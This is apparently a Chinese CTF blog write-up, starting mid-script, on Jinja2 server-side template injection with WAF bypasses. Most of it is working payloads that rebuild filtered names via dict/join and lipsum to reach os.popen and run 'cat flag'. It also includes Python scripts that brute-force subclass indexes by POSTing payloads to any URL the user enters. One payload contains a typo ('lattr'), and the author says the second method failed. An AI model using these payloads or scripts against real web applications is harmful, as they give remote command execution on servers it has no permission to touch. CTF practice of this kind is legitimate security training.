    new_payload = '{%set a=dict(__cla=1,ss__=2)|join%}{%set b=dict(__ba=1,se__=2)|join%}{%set c=dict(__subcl=1,asses__=2)|join%}{%set d=dict(__geti=1,tem__=2)|join%}{%set e=dict(__in=1,it__=2)|join%}{%set f=dict(__glo=1,bals__=2)|join%}{%set g=dict(pop=1,en=2)|join%}{%set h=dict(l=1,s=2)|join%}{%set i=dict(re=1,ad=2)|join%}{{()|attr(a)|attr(b)|attr(c)()|attr(d)('+str(i)+')|attr(e)|attr(f)|attr(d)(g)(h)|attr(i)()}}'
    #依据所需payload转变
    try:
        response = requests.post(url,data=data)
        if response.status_code == 200:
            if method in response.text:
                print(i)
                print(new_payload)
                #print(response.text)
    except:
        pass

 运行

带入payload

 cat flag需要空格,由于空格被过滤了,所以需要绕过空格

构造payload

{%set a=dict(__cla=1,ss__=2)|join%}

{%set b=dict(__ba=1,se__=2)|join%}

{%set c=dict(__subcl=1,asses__=2)|join%}

{%set d=dict(__geti=1,tem__=2)|join%}

{%set e=dict(__in=1,it__=2)|join%}

{%set f=dict(__glo=1,bals__=2)|join%}

{%set g=dict(pop=1,en=2)|join%}

{%set kg=lipsum|string|list|attr(d)(9)%}        #9得自己试看看是不是空格

{%set h=(dict(cat=1)|join,kg,dict(flag=2)|join)|join%}

{%set i=dict(re=1,ad=2)|join%}

{{()|attr(a)|attr(b)|attr(c)()|attr(d)(117)|attr(e)|attr(f)|attr(d)(g)(h)|attr(i)()}}

 

waf过滤“ " ”,“ ' ”,“ + ”,“ . ”,“ [] ”,“_”,“\”,“ 空格 ”,“数字”

构造payload

第一种:

{%set nine=dict(aaaaaaaaa=a)|join|count%}

{%set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}

{%set pop=dict(pop=a)|join%}        #由于“ _ ”被过滤,可用pop代替“__getitem__ ”

{%set kg=(lipsum|string|list)|attr(pop)(nine)%}

{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}

{%set class=(xhx,xhx,dict(class=a)|join,xhx,xhx)|join%}

{%set base=(xhx,xhx,dict(base=a)|join,xhx,xhx)|join%}

{%set sub=(xhx,xhx,dict(subclasses=a)|join,xhx,xhx)|join%}

{%set init=(xhx,xhx,dict(init=a)|join,xhx,xhx)|join%}

{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}

{%set popen=dict(popen=a)|join%}

{%set flag=(dict(cat=a)|join,kg,dict(flag=b)|join)|join%}

{%set read=dict(read=a)|join%}

{{()|attr(class)|attr(base)|attr(sub)()|attr(pop)(117)|attr(init)|attr(globals)|attr(pop)(popen)(flag)|attr(read)()}}

import requests

url = input('请输入url:')
post = input('请输入参数:')
method = input('请输入要查询的方法:')

for i in range(1,200):
    t = "a"
    b = t*i
    payload = '{%set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}{%set x=dict('+b+'=a)|join|count%}{%set pop=dict(pop=a)|join%}{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}{%set class=(xhx,xhx,dict(class=a)|join,xhx,xhx)|join%}{%set base=(xhx,xhx,dict(base=a)|join,xhx,xhx)|join%}{%set sub=(xhx,xhx,dict(subclasses=a)|join,xhx,xhx)|join%}{%set init=(xhx,xhx,dict(init=a)|join,xhx,xhx)|join%}{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}{{()|attr(class)|attr(base)|attr(sub)()|attr(pop)(x)|attr(init)|attr(globals)}}'
    data = {post: payload}
    new_payload = '{%set nine=dict(aaaaaaaaa=a)|join|count%}{%set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}{%set x=dict('+b+'=a)|join|count%}{%set pop=dict(pop=a)|join%}{%set kg=(lipsum|string|list)|attr(pop)(nine)%}{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}{%set class=(xhx,xhx,dict(class=a)|join,xhx,xhx)|join%}{%set base=(xhx,xhx,dict(base=a)|join,xhx,xhx)|join%}{%set sub=(xhx,xhx,dict(subclasses=a)|join,xhx,xhx)|join%}{%set init=(xhx,xhx,dict(init=a)|join,xhx,xhx)|join%}{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}{%set popen=dict(popen=a)|join%}{%set flag=(dict(cat=a)|join,kg,dict(flag=b)|join)|join%}{%set read=dict(read=a)|join%}{{()|attr(class)|attr(base)|attr(sub)()|attr(pop)(x)|attr(init)|attr(globals)|attr(pop)(popen)(flag)|attr(read)()}}'
    #依据所需payload转变
    try:
        response = requests.post(url,data=data)
        if response.status_code == 200:
            if method in response.text:
                print(len(b))
                print(new_payload)
                #print(response.text)
    except:
        pass

运行

但是这里subprocess.Popen不能用可能是python版本的问题所以用另一种方法构造

第二种:

{%set nine=dict(aaaaaaaaa=a)|join|count%}
{%set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}
{%set kg=(lipsum|string|list)lattr(pop)(nine)%}
{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}
{%set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join%}
{%set os=dict(os=a)|join%}
{%set popen=dict(popen=a)|join%}
{%set flag=(dict(cat=a)|join,kg,dict(flag=a)|join)|join%}
{%set read=dict(read=a)|join%}
{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(flag)|attr(read)()}}

脚本就不在这里放了构造原理都差不多

但是还是没法除来不知道是payload哪里的细节问题还是靶场环境的问题就不继续演示了。

总结:

ssti注入需要综合各种绕过的使用自行构造payload和写脚本运行,waf一多还是比较麻烦的。

注意题目的环境是python还是java还是其他的,如果是python判断是moka还是jinja2。同时还要注意python的版本,需要灵活构造payload。

  • 6
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值